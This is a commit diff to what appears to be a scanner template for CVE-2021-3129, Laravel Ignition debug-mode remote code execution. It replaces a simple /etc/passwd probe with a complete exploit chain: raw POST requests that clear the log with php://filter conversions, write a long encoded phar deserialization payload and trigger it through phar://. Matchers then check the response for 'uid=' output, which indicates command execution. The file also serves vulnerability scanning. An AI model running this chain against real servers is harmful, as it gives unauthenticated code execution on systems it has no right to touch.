Added complete RCE chain
sandeep
parent
6688aaca61
commit
c2f87a94c6
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@ -1,15 +1,15 @@
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id: CVE-2021-3129
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info:
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name: LARAVEL <= V8.4.2 DEBUG MODE - REMOTE CODE EXECUTION
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author: z3bd
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name: Laravel <= v8.4.2 Debug Mode - Remote Code Execution
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author: z3bd,pdteam
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severity: critical
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description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
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reference: https://www.ambionics.io/blog/laravel-debug-rce
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reference: |
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- https://www.ambionics.io/blog/laravel-debug-rce
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- https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129
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tags: cve,cve2021,laravel,rce
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# Note:- This is detection template, use the referenced article for detailed exploit.
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requests:
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- raw:
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- |
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@ -21,9 +21,79 @@ requests:
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Content-Length: 144
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Content-Type: application/json
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd"}}
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
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- |
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POST /_ignition/execute-solution HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: deflate
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Accept: application/json
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Connection: close
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Content-Length: 144
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Content-Type: application/json
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
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- |
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POST /_ignition/execute-solution HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: deflate
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Accept: application/json
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Connection: close
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Content-Length: 144
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Content-Type: application/json
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}}
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- |
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POST /_ignition/execute-solution HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: deflate
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Accept: application/json
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Connection: close
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Content-Length: 144
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Content-Type: application/json
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}}
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- |
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POST /_ignition/execute-solution HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: deflate
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Accept: application/json
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Connection: close
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Content-Length: 144
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Content-Type: application/json
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
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- |
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POST /_ignition/execute-solution HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: deflate
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Accept: application/json
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Connection: close
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Content-Length: 144
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Content-Type: application/json
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}}
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 500
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- type: word
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words:
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- "failed to open stream: Permission denied"
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- "uid="
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- "gid="
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- "groups="
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- "Illuminate"
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part: body
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condition: and
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extractors:
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- type: regex
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regex:
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- "(u|g)id=.*"
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